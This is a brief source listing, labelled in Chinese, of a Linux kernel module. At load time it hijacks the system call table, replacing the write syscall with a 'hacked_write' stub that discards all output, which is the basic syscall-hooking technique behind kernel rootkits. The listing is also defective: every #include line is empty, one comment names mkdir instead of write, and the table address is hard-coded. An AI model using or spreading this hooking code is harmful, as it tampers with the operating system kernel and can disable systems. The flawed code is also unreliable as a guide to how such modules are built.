源码:
#ifndef MODULE
#define MODULE
#endif
#ifndef __KERNEL__
#define __KERNEL__
#endif
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
int **sys_call_table=(int **)0xc030a0f0; /*sys_call_table is exported, so we can access it*/
static unsigned long orig_write;//(int fd,char * buf,size_t count);
int hacked_write(int fd,char * buf,size_t count)
{
return 0; /*everything is ok, but he new systemcall does nothing*/
}
int init_module(void) /*module setup*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_write]=orig_write; /*set mkdir syscall to the origal one*/
}